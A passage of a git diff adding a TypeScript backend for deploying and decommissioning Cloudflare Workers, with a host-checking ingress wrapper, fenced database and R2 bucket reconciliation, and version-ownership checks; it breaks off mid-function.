+  readFleetMigrationItemsPage,
+} from './fleet-migration-advance.js';
+export type {
+  FleetMigrationItem,
+  FleetMigrationPlanEntry,
+  FleetMigrationProgress,
+  FleetMigrationStep,
+} from './fleet-migration-state.js';
+export {
+  type FleetOperationFailure,
+  type FleetOperationKind,
+  type FleetOperationLease,
+  type FleetOperationProgress,
+  type FleetOperationRowKind,
+  type FleetOperationRunRecord,
+  type FleetOperationStagedRow,
+  FleetOperationStateError,
+  type FleetOperationStore,
+  FleetOperationStoreCapabilityError,
+  type FleetOperationToken,
+  FleetOperationTokenError,
+  FleetOperationTokenFutureError,
+  FleetOperationTokenKindError,
+  FleetOperationTokenOperationError,
+} from './fleet-operation-state.js';
 export type { HostRoutingTarget } from './host-routing.js';
+export {
+  PlainWorkerBackend,
+  type PlainWorkerBackendOptions,
+  plainWorkerIngressModule,
+} from './plain-worker-backend.js';
 export {
   type PlatformPlaneClient,
   type PlatformPlaneResult,
@@ -102,11 +241,36 @@ export {
   type ApplicationR2Binding,
   type ApplicationR2BucketSnapshot,
   type ApplicationR2Resource,
+  assertNoActiveCleanup,
+  type CleanupAdvanceIntent,
+  type CleanupAdvanceState,
+  type CleanupAdvanceToken,
+  type CleanupAttachmentProgress,
+  type CleanupAttachmentPurpose,
+  type CleanupAttachmentScan,
+  type CleanupAuthority,
+  type CleanupReceiptEvidence,
+  type CleanupTerminalReceipt,
   type D1Migration,
   type DatabaseExport,
+  type DatabaseExportIntegrity,
+  type DatabaseExportReceiptIdentity,
   type DatabaseReference,
+  type DecommissionAdvanceIntent,
+  type DecommissionAdvanceToken,
+  type DecommissionAdvanceTokenClassification,
+  type DecommissionAttachmentProgress,
+  type DecommissionAttachmentPurpose,
+  type DecommissionAttachmentScanEvidence,
+  type DecommissionAttachmentScanInput,
+  type DecommissionAttachmentScanResult,
   type DecommissionAuditEvent,
   type DecommissionAuditSink,
+  type DecommissionBlockedAttachment,
+  type DecommissionIntentCommon,
+  type DecommissionOperationIdentity,
+  type DecommissionOperationMode,
+  type DecommissionRecordIdentity,
   type DecommissionResult,
   type DeploymentApplicationBindings,
   type DeploymentEgressPolicy,
@@ -124,6 +288,7 @@ export {
   type ExternalReleaseTopology,
   type FleetInventoryDeployment,
   type FleetInventoryFinding,
+  type FleetInventoryR2Jurisdiction,
   type FleetRecord,
   type FleetResourceInventory,
   type FleetSettlementContext,
@@ -133,11 +298,27 @@ export {
   type FleetStateStore,
   type ForceDecommissionStep,
   type InitialExecutionFenceState,
+  type InvocationAuthorityCarrier,
   type LiveDeployment,
   type MaintenanceHealth,
+  type MaintenanceSigningProfile,
+  type NormalDecommissionLifecyclePhase,
   type ObservedActiveRoute,
+  type OrdinaryWorkerDeploymentVersion,
+  type PlainWorkerCleanupOutcome,
   type PlainWorkerCustomDomain,
+  type PlainWorkerDatabaseExportResult,
+  type PlainWorkerDatabaseInventoryEntry,
+  type PlainWorkerDeploymentStatus,
+  type PlainWorkerMutationOutcome,
+  type PlainWorkerProvisioningApi,
   type PlainWorkerRouteApi,
+  type PlainWorkerUploadIntent,
+  type PlainWorkerUploadIntentBase,
+  type PlainWorkerUploadOutcome,
+  type PlainWorkerVersionBinding,
+  type PlainWorkerVersionDetail,
+  type PlainWorkerVersionSummary,
   type PlatformPlaneLease,
   type PlatformPlaneResourceSet,
   type PlatformPlaneStateStore,
diff --git a/packages/fleet-control/src/json-field-reads.ts b/packages/fleet-control/src/json-field-reads.ts
new file mode 100644
index 00000000..63d88a4c
--- /dev/null
+++ b/packages/fleet-control/src/json-field-reads.ts
@@ -0,0 +1,23 @@
+// SPDX-License-Identifier: Apache-2.0
+
+export function readField(value: unknown, name: string): unknown {
+  return value && typeof value === 'object'
+    ? Reflect.get(value, name)
+    : undefined;
+}
+
+export function readStringField(
+  value: unknown,
+  name: string,
+): string | undefined {
+  const candidate = readField(value, name);
+  return typeof candidate === 'string' ? candidate : undefined;
+}
+
+export function readArrayField(
+  value: unknown,
+  name: string,
+): readonly unknown[] {
+  const candidate = readField(value, name);
+  return Array.isArray(candidate) ? candidate : [];
+}
diff --git a/packages/fleet-control/src/maintenance-health.ts b/packages/fleet-control/src/maintenance-health.ts
index 49e7c81b..f1b894ef 100644
--- a/packages/fleet-control/src/maintenance-health.ts
+++ b/packages/fleet-control/src/maintenance-health.ts
@@ -1,5 +1,6 @@
 // SPDX-License-Identifier: Apache-2.0
 
+import { cancelBodyWithoutAwait } from './database-export-store.js';
 import { isSha256 } from './deployment-context.js';
 import type { DeploymentSpec, MaintenanceHealth } from './types.js';
 
@@ -42,7 +43,11 @@ export async function readMaintenanceHealth(
   response: Response,
 ): Promise<MaintenanceHealth> {
   if (!response.ok) {
-    throw new Error(`maintenance request failed with HTTP ${response.status}`);
+    const refusal = new Error(
+      `maintenance request failed with HTTP ${response.status}`,
+    );
+    cancelBodyWithoutAwait(response.body, refusal);
+    throw refusal;
   }
   const body: unknown = await response.json();
   if (!body || typeof body !== 'object') {
diff --git a/packages/fleet-control/src/migration-ledger.ts b/packages/fleet-control/src/migration-ledger.ts
index 751e2f48..f1e6da87 100644
--- a/packages/fleet-control/src/migration-ledger.ts
+++ b/packages/fleet-control/src/migration-ledger.ts
@@ -10,12 +10,13 @@ export interface MigrationDatabase {
     sql: string,
     bindings?: readonly string[],
   ): Promise<readonly Readonly<Record<string, unknown>>[]>;
+  /** Applies the statements as one transaction; the ledger does not read the result. */
   batch(
     statements: readonly {
       readonly sql: string;
       readonly bindings?: readonly string[];
     }[],
-  ): Promise<void>;
+  ): Promise<unknown>;
 }
 
 function migrationDigest(migration: D1Migration): string {
diff --git a/packages/fleet-control/src/plain-worker-backend.ts b/packages/fleet-control/src/plain-worker-backend.ts
new file mode 100644
index 00000000..ead35cc2
--- /dev/null
+++ b/packages/fleet-control/src/plain-worker-backend.ts
@@ -0,0 +1,2327 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import {
+  provisionDeploymentIdentityProtocol,
+  readDeploymentIdentityProtocol,
+} from '@proofoftech/flowsafe/deployment-identity-protocol';
+import { ActiveRouteAttestationError } from './active-route.js';
+import {
+  applicationSecretValues,
+  canonicalApplicationBindings,
+} from './application-bindings.js';
+import { isTransientProviderError } from './cloudflare-provider-errors.js';
+import {
+  cancelBodyWithoutAwait,
+  captureDatabaseExportReceiptCapability,
+  databaseExportReceiptIdentityFromUnknown,
+} from './database-export-store.js';
+import { isSha256 } from './deployment-context.js';
+import { WorkerDeploymentError } from './deployment-error.js';
+import { maintenanceUrl, readMaintenanceHealth } from './maintenance-health.js';
+import { applyMigrationsWithLedger } from './migration-ledger.js';
+import {
+  assertCompleteWorkerPublicAccess,
+  assertSupportedPlainWorkerBindings,
+} from './provider-binding-inventory.js';
+import { deploymentSpecDigest } from './spec-digest.js';
+import type {
+  ActiveRouteAttestation,
+  D1Migration,
+  DatabaseExport,
+  DatabaseReference,
+  DeploymentEgressPolicy,
+  DeploymentSecrets,
+  DeploymentSpec,
+  ExternalMutationFence,
+  ExternalPlatformResources,
+  ExternalReleaseSnapshot,
+  FleetRecord,
+  ForceDecommissionStep,
+  LiveDeployment,
+  MaintenanceHealth,
+  PlainWorkerCustomDomain,
+  PlainWorkerProvisioningApi,
+  PlainWorkerUploadIntent,
+  PlainWorkerUploadOutcome,
+  PlainWorkerVersionDetail,
+  PlainWorkerVersionSummary,
+  PromotionGuard,
+  ProvisioningBackend,
+  SeedDeploymentIdentityOptions,
+} from './types.js';
+import { targetDurableObjectTag } from './validation.js';
+
+const PLAIN_INGRESS_CONTRACT = 'guarded-object-v1';
+const PLAIN_INGRESS_MODULE = '__anchorage_guarded_entry__.js';
+const EXACT_DATABASE_DELETION_REQUIRED =
+  'plain Worker route API does not support exact-ID D1 database deletion';
+const JAVASCRIPT_CONTENT_TYPES = new Set([
+  'application/javascript',
+  'application/javascript+module',
+  'text/javascript',
+]);
+
+interface DeploymentVersion {
+  readonly id: string;
+  readonly percentage: number;
+}
+
+interface DeploymentStatus {
+  readonly versions: readonly DeploymentVersion[];
+}
+
+function restD1Bindings(
+  bindings: readonly unknown[],
+  operation: string,
+): readonly string[] {
+  if (bindings.some((binding) => typeof binding !== 'string')) {
+    throw new Error(`${operation} D1 bindings must be strings`);
+  }
+  return bindings as readonly string[];
+}
+
+export function plainWorkerIngressModule(spec: DeploymentSpec): Readonly<{
+  name: string;
+  content: string;
+}> {
+  if (spec.modules.some((module) => module.name === PLAIN_INGRESS_MODULE)) {
+    throw new Error(
+      `Worker modules reserve '${PLAIN_INGRESS_MODULE}' for the guarded fleet entrypoint`,
+    );
+  }
+  const main = spec.modules.find((module) => module.name === spec.mainModule);
+  if (
+    !main ||
+    typeof main.content !== 'string' ||
+    (main.contentType !== undefined &&
+      !JAVASCRIPT_CONTENT_TYPES.has(main.contentType)) ||
+    main.name.startsWith('/') ||
+    main.name.split('/').includes('..') ||
+    /[?#\\]/u.test(main.name)
+  ) {
+    throw new Error(
+      'plain Worker mainModule must be an importable string JavaScript ES module',
+    );
+  }
+  const importSpecifier = JSON.stringify(`./${main.name}`);
+  const localClasses = [
+    ...new Set(
+      spec.durableObjectBindings.flatMap((binding) =>
+        binding.scriptName === undefined ? [binding.className] : [],
+      ),
+    ),
+  ].sort();
+  if (
+    localClasses.some(
+      (className) => !/^[A-Za-z_$][A-Za-z0-9_$]*$/u.test(className),
+    )
+  ) {
+    throw new Error(
+      'plain Worker contains an invalid local Durable Object class',
+    );
+  }
+  const reexports =
+    localClasses.length > 0
+      ? `export { ${localClasses.join(', ')} } from ${importSpecifier};\n`
+      : '';
+  const routeHostname = JSON.stringify(
+    new URL(`https://${spec.routeHostname}`).hostname
+      .toLowerCase()
+      .replace(/\.$/u, ''),
+  );
+  const controlHostname = JSON.stringify(
+    new URL(spec.maintenanceBaseUrl).hostname.toLowerCase().replace(/\.$/u, ''),
+  );
+  return {
+    name: PLAIN_INGRESS_MODULE,
+    content: `import __anchorageUserEntrypoint from ${importSpecifier};
+${reexports}if (
+  !__anchorageUserEntrypoint ||
+  typeof __anchorageUserEntrypoint !== 'object' ||
+  typeof __anchorageUserEntrypoint.fetch !== 'function'
+) {
+  throw new TypeError('plain Worker entrypoint must default-export an object with fetch');
+}
+const __anchorageUserFetch = __anchorageUserEntrypoint.fetch;
+const __anchorageRouteHostname = ${routeHostname};
+const __anchorageControlHostname = ${controlHostname};
+const __anchorageEnsurePath = '/admin/ensure-maintenance';
+const __anchorageStatusPath = '/admin/maintenance-status';
+const __anchorageReject = () => new Response(null, { status: 404 });
+export default {
+  ...__anchorageUserEntrypoint,
+  async fetch(request, env, context) {
+    const url = new URL(request.url);
+    const hostname = url.hostname.toLowerCase().replace(/\\.$/u, '');
+    if (hostname === __anchorageRouteHostname) {
+      if (request.headers.has('Cloudflare-Workers-Version-Overrides')) {
+        return __anchorageReject();
+      }
+    } else {
+      if (hostname !== __anchorageControlHostname) {
+        return __anchorageReject();
+      }
+      const validOperation =
+        (url.pathname === __anchorageEnsurePath && request.method === 'POST') ||
+        (url.pathname === __anchorageStatusPath && request.method === 'GET');
+      const authorization = request.headers.get('authorization');
+      if (
+        !validOperation ||
+        url.search !== '' ||
+        authorization === null ||
+        !/^Bearer [\\x21-\\x7e]{32,256}$/u.test(authorization)
+      ) {
+        return __anchorageReject();
+      }
+    }
+    return Reflect.apply(__anchorageUserFetch, __anchorageUserEntrypoint, [
+      request,
+      env,
+      context,
+    ]);
+  },
+};
+`,
+  };
+}
+
+/**
+ * Constructor options for the shared ordinary-Worker implementation.
+ */
+export interface PlainWorkerBackendOptions {
+  /** Provider operations used by the shared ordinary-Worker policy. */
+  readonly api: PlainWorkerProvisioningApi;
+  /**
+   * Log-hygiene token prefixed to deployment-identity protocol refusals. The
+   * protocol uses `caller` as its diagnostic prefix and defaults to its own
+   * implementation token when omitted. This value is never persisted.
+   */
+  readonly identityCaller: string;
+  readonly fetch?: typeof fetch;
+  readonly maintenanceRequestTimeoutMs?: number;
+  /**
+   * Bounds maintenance route readiness and deployment propagation waits.
+   * @defaultValue 60000
+   */
+  readonly maintenanceRouteReadyTimeoutMs?: number;
+  readonly maintenanceRouteReadyIntervalMs?: number;
+  /** Stamps `observedAt` on an attestation. Injected so it can be pinned. */
+  readonly clock?: () => number;
+  /** Delays reconciled mutation retries. Defaults to a `setTimeout` promise. */
+  readonly wait?: (ms: number) => Promise<void>;
+}
+
+/**
+ * Validate the maintenance request timeout before the wrapper constructs its
+ * adapter, preserving the historic constructor guard order. This helper is
+ * exported for both built-in ordinary-Worker backends but intentionally
+ * omitted from the package barrel.
+ */
+export function resolveMaintenanceRequestTimeoutMs(
+  value: number | undefined,
+): number {
+  const maintenanceRequestTimeoutMs = value ?? 30_000;
+  if (
+    !Number.isSafeInteger(maintenanceRequestTimeoutMs) ||
+    maintenanceRequestTimeoutMs < 1
+  ) {
+    throw new Error('maintenance request timeout must be positive');
+  }
+  return maintenanceRequestTimeoutMs;
+}
+
+/**
+ * Shared provider-neutral ordinary-Worker implementation over
+ * `PlainWorkerProvisioningApi`.
+ *
+ * Its constructor options are the stable integration surface for built-in
+ * ordinary-Worker backends. Its public members are invoked by the class
+ * itself — database and R2 reconciliation, failed-deployment rollback, and
+ * teardown — so overriding any of them changes behavior the class depends on
+ * internally; do not subclass it outside this package.
+ *
+ * Mutation duration has two independent bounds. Port-level operations use
+ * `maxMutationDurationMs`, while maintenance requests use the injected request
+ * timeout. Both must remain below the external mutation-fence lease lifetime.
+ *
+ * The route contract asserts the fence immediately before every provider
+ * request. This class also retains historic pre-assertions before promotion's
+ * custom-domain attach, normal traffic removal's detach, and the maintenance
+ * request before dispatch. Force detach, public-access disable, and secret
+ * deletion rely on the route contract.
+ *
+ * The port's explicit pre-dispatch assertions are also load-bearing for
+ * outcome-valued database creation, candidate upload, and deployment creation.
+ * Without them, a lost lease represented as `{ status: 'failed' }` could be
+ * masked by the core's provider readback and reconciliation.
+ */
+export class PlainWorkerBackend implements ProvisioningBackend {
+  readonly kind = 'plain-worker' as const;
+  declare readonly advanceDecommissionAttachmentScan?: NonNullable<
+    ProvisioningBackend['advanceDecommissionAttachmentScan']
+  >;
+  /** Canonical immutable receipt authority, present only with receipt export. */
+  declare readonly databaseExportReceiptAuthority?: string;
+  /** Forwards one canonical operation receipt through the plain-Worker port. */
+  declare readonly exportDatabaseReceipt?: NonNullable<
+    ProvisioningBackend['exportDatabaseReceipt']
+  >;
+  readonly #api: PlainWorkerProvisioningApi;
+  readonly #identityCaller: string;
+  readonly #fetch: typeof fetch;
+  readonly #maintenanceRequestTimeoutMs: number;
+  readonly #maintenanceRouteReadyTimeoutMs: number;
+  readonly #maintenanceRouteReadyIntervalMs: number;
+  readonly #clock: () => number;
+  readonly #wait: (ms: number) => Promise<void>;
+
+  constructor(options: PlainWorkerBackendOptions) {
+    const maintenanceRequestTimeoutMs = resolveMaintenanceRequestTimeoutMs(
+      options.maintenanceRequestTimeoutMs,
+    );
+    if (
+      typeof options.identityCaller !== 'string' ||
+      !/^[\x21-\x7e]{1,128}$/u.test(options.identityCaller)
+    ) {
+      throw new Error(
+        'plain Worker backend identityCaller must be a 1-128 character single-line token',
+      );
+    }
+    this.#api = options.api;
+    this.#identityCaller = options.identityCaller;
+    const fetchFn = options.fetch ?? fetch;
+    // The maintenance requests below carry the maintenance admin secret as a
+    // bearer credential to a tenant Worker URL. Forcing the policy after the
+    // spread denies a call site the chance to opt into following a redirect to
+    // an address the control plane did not choose. By the rule at
+    // refuseRedirectStatus this transport leaves the status to its consumer: a
+    // 3xx reaches readMaintenanceHealth, which refuses any response that is not
+    // ok and cancels its body.
+    this.#fetch = (input, init) =>
+      fetchFn(input, { ...init, redirect: 'manual' });
+    this.#maintenanceRequestTimeoutMs = maintenanceRequestTimeoutMs;
+    this.#maintenanceRouteReadyTimeoutMs =
+      options.maintenanceRouteReadyTimeoutMs ?? 60_000;
+    this.#maintenanceRouteReadyIntervalMs =
+      options.maintenanceRouteReadyIntervalMs ?? 2_000;
+    for (const value of [
+      this.#maintenanceRouteReadyTimeoutMs,
+      this.#maintenanceRouteReadyIntervalMs,
+    ]) {
+      if (!Number.isSafeInteger(value) || value < 1) {
+        throw new Error('maintenance route readiness timing must be positive');
+      }
+    }
+    this.#clock = options.clock ?? Date.now;
+    this.#wait =
+      options.wait ??
+      ((ms) => new Promise((resolve) => setTimeout(resolve, ms)));
+    const advanceDecommissionAttachmentScan =
+      options.api.advanceDecommissionAttachmentScan;
+    if (typeof advanceDecommissionAttachmentScan === 'function') {
+      this.advanceDecommissionAttachmentScan =
+        advanceDecommissionAttachmentScan.bind(options.api);
+    }
+    const receiptCapability = captureDatabaseExportReceiptCapability(
+      options.api,
+      () => [
+        options.api.databaseExportReceiptAuthority,
+        options.api.exportDatabaseReceipt,
+      ],
+    );
+    if (receiptCapability) {
+      const exportDatabaseReceipt = receiptCapability.method as NonNullable<
+        PlainWorkerProvisioningApi['exportDatabaseReceipt']
+      >;
+      this.databaseExportReceiptAuthority = receiptCapability.authority;
+      this.exportDatabaseReceipt = async (identity, fence) => {
+        this.#assertMutationDuration(fence);
+        const canonical = databaseExportReceiptIdentityFromUnknown(
+          identity,
+          receiptCapability.authority,
+        );
+        const exported = await exportDatabaseReceipt(canonical, fence);
+        return {
+          databaseId: canonical.databaseId,
+          location: exported.location,
+          sha256: exported.sha256,
+          size: exported.size,
+        };
+      };
+    }
+  }
+
+  #assertMutationDuration(fence: ExternalMutationFence): void {
+    if (
+      !Number.isSafeInteger(fence.mutationLeaseTtlMs) ||
+      fence.mutationLeaseTtlMs < 1
+    ) {
+      throw new Error('external mutation fence lease TTL must be positive');
+    }
+    if (
+      !Number.isSafeInteger(this.#api.maxMutationDurationMs) ||
+      this.#api.maxMutationDurationMs < 1
+    ) {
+      throw new Error('provider mutation maximum duration must be positive');
+    }
+    if (this.#api.maxMutationDurationMs >= fence.mutationLeaseTtlMs) {
+      throw new Error(
+        'provider mutation maximum duration must be below the external mutation fence lease TTL',
+      );
+    }
+  }
+
+  async #assertMutationFence(fence: ExternalMutationFence): Promise<void> {
+    this.#assertMutationDuration(fence);
+    await fence.assertOwned();
+  }
+
+  async findDatabase(
+    spec: DeploymentSpec,
+  ): Promise<DatabaseReference | undefined> {
+    const listed = await this.#api.listDatabases({ name: spec.databaseName });
+    // A name filter narrows the listing toward the name, so compare exactly.
+    const matches = listed.filter((database) => {
+      if (typeof database.name !== 'string' || !database.name)
+        throw new Error('D1 list result has no name');
+      return database.name === spec.databaseName;
+    });
+    if (matches.length > 1) {
+      throw new Error(`multiple D1 databases are named '${spec.databaseName}'`);
+    }
+    if (matches[0]) {
+      const id = matches[0].databaseId;
+      if (typeof id !== 'string' || !id)
+        throw new Error('D1 list result has no uuid');
+      return { id, name: spec.databaseName, created: false };
+    }
+    return undefined;
+  }
+
+  async getDatabase(
+    databaseId: string,
+  ): Promise<DatabaseReference | undefined> {
+    return this.#api.getDatabase(databaseId);
+  }
+
+  async ensureDatabase(
+    spec: DeploymentSpec,
+    fence: ExternalMutationFence,
+  ): Promise<DatabaseReference> {
+    for (let attempt = 0; ; attempt += 1) {
+      this.#assertMutationDuration(fence);
+      const outcome = await this.#api.createDatabase(spec.databaseName, fence);
+      if (outcome.status === 'failed') {
+        const recovered = await this.findDatabase(spec);
+        if (recovered) {
+          const owner = await this.readDeploymentIdentity(recovered, fence);
+          if (owner !== undefined) {
+            throw new Error(
+              `refusing authorized database reconciliation for '${recovered.id}' owned by '${owner}'`,
+              { cause: outcome.error },
+            );
+          }
+          return { ...recovered, created: true };
+        }
+        await this.#waitForReconciledMutationRetry(outcome.error, attempt);
+        continue;
+      }
+      const resolved = await this.findDatabase(spec);
+      if (!resolved) {
+        throw new Error(
+          `D1 database '${spec.databaseName}' is absent after successful creation`,
+        );
+      }
+      return { ...resolved, created: true };
+    }
+  }
+
+  async #waitForReconciledMutationRetry(
+    error: unknown,
+    attempt: number,
+  ): Promise<void> {
+    // Reconciliation proves absence before the injected wait delays a retry;
+    // the next attempt checks the duration fence before dispatch.
+    if (attempt >= 2 || !isTransientProviderError(error)) throw error;
+    await this.#wait(2_000 * (attempt + 1));
+  }
+
+  async #query(
+    database: DatabaseReference,
+    sql: string,
+    fence: ExternalMutationFence,
+    bindings: readonly unknown[] = [],
+  ): Promise<readonly Readonly<Record<string, unknown>>[]> {
+    return this.#api.withMutationFence(fence, () =>
+      this.#api.queryDatabase(
+        database.id,
+        sql,
+        restD1Bindings(bindings, 'plain Worker'),
+      ),
+    );
+  }
+
+  async seedDeploymentIdentity(
+    database: DatabaseReference,
+    tenantTag: string,
+    fence: ExternalMutationFence,
+    options: SeedDeploymentIdentityOptions,
+  ): Promise<void> {
+    await provisionDeploymentIdentityProtocol(
+      (statement) =>
+        this.#query(database, statement.sql, fence, statement.bindings),
+      tenantTag,
+      {
+        caller: this.#identityCaller,
+        initialExecutionFenceState: options.initialExecutionFenceState,
+      },
+    );
+  }
+
+  readDeploymentIdentity(
+    database: DatabaseReference,
+    fence: ExternalMutationFence,
+  ): Promise<string | undefined> {
+    return readDeploymentIdentityProtocol((statement) =>
+      this.#query(database, statement.sql, fence, statement.bindings),
+    );
+  }
+
+  async applyMigrations(
+    database: DatabaseReference,
+    migrations: readonly D1Migration[],
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    await applyMigrationsWithLedger(
+      {
+        query: (sql, bindings) => this.#query(database, sql, fence, bindings),
+        batch: (statements) =>
+          this.#api.withMutationFence(fence, () =>
+            this.#api.batchDatabase(
+              database.id,
+              statements.map((statement) => ({
+                sql: statement.sql,
+                bindings: restD1Bindings(
+                  statement.bindings ?? [],
+                  'plain Worker batch',
+                ),
+              })),
+            ),
+          ),
+      },
+      migrations,
+    );
+  }
+
+  async findApplicationR2Bucket(
+    resource: import('./types.js').ApplicationR2Binding,
+  ): Promise<import('./types.js').ApplicationR2BucketSnapshot | undefined> {
+    if (!this.#api.getR2Bucket) {
+      throw new Error('plain Worker route API does not support application R2');
+    }
+    const found = await this.#api.getR2Bucket(
+      resource.bucketName,
+      resource.jurisdiction,
+    );
+    return found
+      ? { ...resource, creationDate: found.creationDate }
+      : undefined;
+  }
+
+  async ensureApplicationR2Bucket(
+    resource: import('./types.js').ApplicationR2Binding,
+    fence: ExternalMutationFence,
+  ): Promise<import('./types.js').ApplicationR2BucketSnapshot> {
+    if (!this.#api.createR2Bucket) {
+      throw new Error('plain Worker route API does not support application R2');
+    }
+    for (let attempt = 0; ; attempt += 1) {
+      this.#assertMutationDuration(fence);
+      await fence.assertOwned();
+      try {
+        await this.#api.createR2Bucket(resource, fence);
+        break;
+      } catch (error) {
+        await fence.assertOwned();
+        const reconciled = await this.findApplicationR2Bucket(resource);
+        if (reconciled) return reconciled;
+        if (
+          error &&
+          typeof error === 'object' &&
+          'status' in error &&
+          error.status === 409
+        ) {
+          throw new Error(
+            `R2 bucket '${resource.bucketName}' conflicts with a foreign resource`,
+          );
+        }
+        await this.#waitForReconciledMutationRetry(error, attempt);
+      }
+    }
+    const confirmed = await this.findApplicationR2Bucket(resource);
+    if (!confirmed)
+      throw new Error(
+        `R2 bucket '${resource.bucketName}' is absent after create`,
+      );
+    return confirmed;
+  }
+
+  async assertApplicationR2Detached(
+    resource: import('./types.js').ApplicationR2Binding,
+    _fence: ExternalMutationFence,
+  ): Promise<void> {
+    if (!this.#api.listWorkerR2Attachments) {
+      throw new Error('plain Worker route API cannot scan R2 attachments');
+    }
+    const attachments = await this.#api.listWorkerR2Attachments(
+      resource.bucketName,
+    );
+    if (attachments.length > 0) {
+      throw new Error(
+        `R2 bucket '${resource.bucketName}' remains attached to a Worker`,
+      );
+    }
+  }
+
+  async assertApplicationR2Empty(
+    resource: import('./types.js').ApplicationR2Binding,
+    _fence: ExternalMutationFence,
+  ): Promise<void> {
+    if (!this.#api.assertR2BucketEmpty) {
+      throw new Error('plain Worker route API cannot inspect R2 contents');
+    }
+    await this.#api.assertR2BucketEmpty(resource);
+  }
+
+  async deleteApplicationR2Bucket(
+    resource: import('./types.js').ApplicationR2Binding,
+    fence: ExternalMutationFence,
+  ): Promise<void> {
+    if (!this.#api.deleteR2Bucket) {
+      throw new Error('plain Worker route API cannot delete application R2');
+    }
+    const current = await this.findApplicationR2Bucket(resource);
+    if (!current || current.creationDate !== resource.creationDate) {
+      throw new Error(`R2 bucket '${resource.bucketName}' ownership changed`);
+    }
+    await this.#api.deleteR2Bucket(resource, fence);
+    if (await this.findApplicationR2Bucket(resource)) {
+      throw new Error(
+        `R2 bucket '${resource.bucketName}' remains after delete`,
+      );
+    }
+  }
+
+  async #deploymentStatus(
+    spec: DeploymentSpec,
+  ): Promise<DeploymentStatus | undefined> {
+    const status = await this.#api.deploymentStatus(spec.scriptName);
+    if (!status) return undefined;
+    const versions = status.versions.map(({ versionId: id, percentage }) => {
+      if (
+        !id ||
+        percentage === undefined ||
+        !Number.isFinite(percentage) ||
+        percentage < 0
+      ) {
+        throw new Error(
+          'plain Worker deployment status has an invalid version',
+        );
+      }
+      return { id, percentage };
+    });
+    if (versions.length === 0) {
+      throw new Error('plain Worker deployment status has no versions');
+    }
+    return { versions };
+  }
+
+  async #listVersions(
+    spec: DeploymentSpec,
+  ): Promise<readonly PlainWorkerVersionSummary[] | undefined> {
+    return this.#api.listVersions(spec.scriptName);
+  }
+
+  #plainTextBindings(
+    version: PlainWorkerVersionDetail,
+  ): ReadonlyMap<string, string> {
+    return new Map(
+      version.bindings.flatMap((binding) =>
+        binding.type === 'plain-text' &&
+        typeof binding.name === 'string' &&
+        typeof binding.value === 'string'
+          ? [[binding.name, binding.value] as const]
+          : [],
+      ),
+    );
+  }
+
+  async #matchingCandidateIds(
+    spec: DeploymentSpec,
+    versions?: readonly PlainWorkerVersionSummary[],
+  ): Promise<readonly string[]> {
+    const digest = deploymentSpecDigest(spec);
+    const listed = versions ?? (await this.#listVersions(spec));
+    if (!listed) return [];
+    const tagged = listed.filter((version) => version.tag === digest);
+    const matches: string[] = [];
+    for (const candidate of tagged) {
+      const id = candidate.versionId;
+      if (!id) {
+        throw new Error('plain Worker version inventory has no version id');
+      }
+      const version = await this.#api.viewVersion(spec.scriptName, id);
+      const plainText = this.#plainTextBindings(version);
+      if (plainText.get('FLEET_SPEC_DIGEST') !== digest) {
+        throw new Error(
+          `Worker version '${id}' has a mismatched fleet specification digest`,
+        );
+      }
+      if (plainText.get('FLEET_INGRESS_CONTRACT') === PLAIN_INGRESS_CONTRACT) {
+        matches.push(id);
+      }
+    }
+    return matches;
+  }
+
+  async #findCandidate(
+    spec: DeploymentSpec,
+    versions?: readonly PlainWorkerVersionSummary[],
+  ): Promise<string | undefined> {
+    const digest = deploymentSpecDigest(spec);
+    const matches = await this.#matchingCandidateIds(spec, versions);
+    if (matches.length > 1) {
+      throw new Error(
+        `multiple Worker versions use fleet specification tag '${digest}'`,
+      );
+    }
+    return matches[0];
+  }
+
+  async #expectedCandidate(
+    spec: DeploymentSpec,
+    artifactVersion: string,
+    versions?: readonly PlainWorkerVersionSummary[],
+  ): Promise<string> {
+    const listed = versions ?? (await this.#listVersions(spec));
+    if (!listed?.some((version) => version.versionId === artifactVersion)) {
+      throw new Error(
+        `Worker '${spec.scriptName}' is missing persisted artifact version '${artifactVersion}'`,
+      );
+    }
+    const version = await this.#api.viewVersion(
+      spec.scriptName,
+      artifactVersion,
+    );
+    const plainText = this.#plainTextBindings(version);
+    if (
+      plainText.get('FLEET_SPEC_DIGEST') !== deploymentSpecDigest(spec) ||
+      plainText.get('FLEET_INGRESS_CONTRACT') !== PLAIN_INGRESS_CONTRACT
+    ) {
+      throw new Error(
+        `Worker '${spec.scriptName}' persisted artifact version '${artifactVersion}' has drifted`,
+      );
+    }
+    return artifactVersion;
+  }
+
+  #databaseIds(version: PlainWorkerVersionDetail): readonly string[] {
+    return version.bindings.flatMap((binding) =>
+      binding.type === 'd1' && typeof binding.databaseId === 'string'
+        ? [binding.databaseId]
+        : [],
+    );
+  }
+
+  async #assertExistingWorkerIdentity(
+    spec: DeploymentSpec,
+    databaseId: string,
+    deployment: DeploymentStatus,
+  ): Promise<void> {
+    if (deployment.versions.length === 0) {
+      throw new Error(
+        `refusing to upload over existing Worker '${spec.scriptName}' without a deployed version`,
+      );
+    }
+    for (const deployed of deployment.versions) {
+      const version = await this.#api.viewVersion(spec.scriptName, deployed.id);
+      const plainText = this.#plainTextBindings(version);
+      const databaseIds = this.#databaseIds(version);
+      const digest = plainText.get('FLEET_SPEC_DIGEST');
+      if (
+        databaseIds.length !== 1 ||
+        databaseIds[0] !== databaseId ||
+        plainText.get('DEPLOYMENT_TENANT') !== spec.tenantTag ||
+        plainText.get('FLEET_ENVIRONMENT') !== spec.environment ||
+        !digest ||
+        !isSha256(digest)
+      ) {
+        throw new Error(
+          `refusing to upload over existing Worker '${spec.scriptName}' with drifted tenant, environment, or D1 ownership`,
+        );
+      }
+    }
+  }
+
+  async #attestWorkerOwnership(
+    spec: DeploymentSpec,
+    persistedDatabaseId?: string,
+  ): Promise<string | undefined> {
+    const [status, versions] = await Promise.all([
+      this.#deploymentStatus(spec),
+      this.#listVersions(spec),
+    ]);
+    if (!status && (!versions || versions.length === 0)) return undefined;
+    const candidateId = await this.#findCandidate(spec, versions);
+    if (!candidateId) {
+      throw new Error(
+        `refusing to mutate Worker '${spec.scriptName}' without its exact fleet specification`,
+      );
+    }
+    const [version, databaseId] = await Promise.all([
+      this.#api.viewVersion(spec.scriptName, candidateId),
+      persistedDatabaseId
+        ? Promise.resolve(persistedDatabaseId)
+        : this.findDatabase(spec).then((database) => database?.id),
+    ]);
+    const digest = deploymentSpecDigest(spec);
+    const plainText = this.#plainTextBindings(version);
+    const databaseIds = this.#databaseIds(version);
+    if (
